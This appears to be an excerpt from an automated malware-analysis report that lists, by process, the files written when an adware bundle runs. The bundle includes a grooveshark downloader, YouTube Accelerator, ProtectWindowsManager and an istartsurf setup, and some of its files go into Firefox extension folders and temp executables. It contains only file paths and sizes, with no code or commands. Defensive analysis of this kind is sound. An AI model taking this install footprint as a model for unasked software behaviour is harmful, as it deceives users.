C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fcd960b068e12bea94aa7c22f90c95d2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e354273ff2c636fbf383c0d279e109bc.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e44cce167888200b542b54dd7bcdd80a.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ec188b03f24565ef1d665e303d03303c.js (6 bytes)

The process ProtectWindowsManager.exe:3944 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process GLJCD7C.tmp:3500 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process install.tmp:1916 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-EQ7F1.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-I7N4Q.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Skins\is-V731B.tmp (18 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-IA224.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-GFKGP.tmp (29430 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\SciLor's groovesharkâ„¢.com Downloader\Uninstall SciLor's groovesharkâ„¢.com Downloader.lnk (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-58420.tmp (7 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-16LBO.tmp (61 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-9C0CA.tmp (5 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-FUPQS.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-JIQFO.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-2G8ET.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-2SOVO.tmp (673 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\unins000.dat (4420 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-3ESUH.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-UEKCJ.tmp (8 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-61JIU.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-D28SI.tmp (1425 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-3AN7U.tmp (11168 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-R96AA.tmp (321 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-PN3OC.tmp (7 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-J4R2N.tmp (3 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-0JJS5.tmp (2105 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\is-G2U7R.tmp\_isetup\_setup64.tmp (6 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-9O0P2.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-5SSAG.tmp (5 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-8EQ8K.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-UUJDM.tmp (16158 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-8P0L2.tmp (2105 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-8H8QL.tmp (61 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Mp3Gain\is-3OAOU.tmp (601 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-Q8EAF.tmp (12 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-H4OJ8.tmp (5 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-QEVUE.tmp (7547 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-D20M2.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-B95IQ.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-8GRKA.tmp (7 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-KQBQK.tmp (829 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-JT9V6.tmp (26233 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\SciLor's groovesharkâ„¢.com Downloader\SciLor's groovesharkâ„¢.com Downloader on the Web.url (75 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-BE5DU.tmp (8 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-LEIUS.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-RUP09.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-3HLNJ.tmp (71155 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-RFPM8.tmp (7 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-V4M4G.tmp (7 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-MVIIE.tmp (39506 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-8PL3K.tmp (601 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-6QRBI.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-I63BF.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-EC3TB.tmp (950 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-A8ITT.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-GN5FG.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Mp3Gain\is-IOG4L.tmp (601 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-SD470.tmp (928 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Skins\is-98KDK.tmp (25 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-O60CF.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-84NFC.tmp (9 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\SciLor's groovesharkâ„¢.com Downloader\SciLor's groovesharkâ„¢.com Downloader.lnk (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-CO7DQ.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-3IJ8U.tmp (7 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-83E1K.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-CELNV.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-VB929.tmp (24 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-FR8CA.tmp (5 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-MCJVB.tmp (5 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-KKKAU.tmp (2321 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-UQSIN.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-CJ8F6.tmp (9 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-G0V51.tmp (4 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-MCP31.tmp (1 bytes)
C:\Users\Public\Desktop\SciLor's groovesharkâ„¢.com Downloader.lnk (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-R2H1K.tmp (245 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-6M7TL.tmp (6 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-G50IB.tmp (43 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-D83D8.tmp (2105 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-9G9FO.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\is-G2U7R.tmp\_isetup\_shfoldr.dll (47 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-CB2A3.tmp (5 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\SciLors GrooveDownloader.exe (376 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-44UKK.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-RE26E.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-PL8EV.tmp (1 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-VKC14.tmp (9605 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-MMBMS.tmp (1 bytes)

The process YouTubeAccelerator.exe:3268 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3316.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FC0.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk408A.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FE4.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1888_testlsp.log_tmp (989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40C2.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk4009.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3316_YouTubeAcceleratorService.log_tmp (45 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40AD.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FE2.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40BE.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40C0.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk4088.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (187543 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3F42.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1888_testlsp.log_tmp (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3268.log_tmp (14 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1888_testlsp.log_tmp (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3268_YouTubeAccelerator.log_tmp (3 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3268.log (79704 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FF7.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FF5.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1888.log_tmp (815 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40AB.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3268_YouTubeAccelerator.log (14459 bytes)

The process jsdrv.exe:2836 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

The process wpm_v20.0.0.1953_0302.exe:4040 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3568 bytes)

The process biclient.exe:1828 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\b4cbe9ed5adec14c854e2a5305d64e4a[1].htm (28260 bytes)

The process biclient.exe:816 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula-swiftrecord[1].htm (3902 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-istartsurf[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[1].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\scilors4848[1].png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.7 (64797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.6 (64797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.5 (64797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.4 (64797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.3 (64797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.2 (64797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.1 (64797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.0 (64797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\608d3271d8f3494f867a2b514a49c4e9[1].htm (33108 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe (593012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-youtubeaccelerator[1].htm (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[1].png (2348 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (768 bytes)

The process biclient.exe:1172 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp (33428 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\118da1f976d76e498cb7b97066dd3d92[1].htm (25989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ajax-bidl[1].htm (202 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe (49444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71289 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[1].png (1676 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.7 (4152 bytes)

The process webplayer_installer.exe:3180 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoDF19.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)

The process GLBCD0E.tmp:3452 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMD193.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
